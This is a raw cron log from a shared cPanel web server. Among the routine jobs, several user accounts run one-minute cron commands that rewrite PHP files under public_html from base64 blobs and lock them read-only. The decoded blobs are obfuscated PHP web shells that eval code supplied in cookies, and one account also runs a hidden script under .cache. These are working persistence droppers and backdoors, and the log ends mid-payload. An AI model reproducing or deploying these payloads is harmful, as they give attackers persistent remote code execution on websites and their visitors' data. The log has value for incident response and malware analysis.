Mar  1 05:23:01 medusa CROND[31450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:23:01 medusa CROND[31452]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:23:01 medusa CROND[31453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:23:01 medusa CROND[31451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:23:01 medusa CROND[31454]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:23:01 medusa CROND[31455]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:23:01 medusa CROND[31465]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:24:01 medusa CROND[22244]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:24:01 medusa CROND[22245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:24:01 medusa CROND[22247]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:24:01 medusa CROND[22248]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 05:24:01 medusa CROND[22250]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:24:01 medusa CROND[22252]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:24:01 medusa CROND[22253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:24:01 medusa CROND[22254]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:24:01 medusa CROND[22259]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:24:01 medusa CROND[22260]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:24:01 medusa CROND[22266]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:24:01 medusa CROND[22273]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:24:01 medusa CROND[22276]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:25:01 medusa CROND[13156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:25:01 medusa CROND[13212]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:25:01 medusa CROND[13214]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:25:01 medusa CROND[13215]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13216]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:25:01 medusa CROND[13217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13219]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:25:01 medusa CROND[13220]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:25:01 medusa CROND[13222]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:25:01 medusa CROND[13223]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13224]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:25:01 medusa CROND[13228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:25:01 medusa CROND[13229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:25:01 medusa CROND[13230]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:25:01 medusa CROND[13232]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4Dsa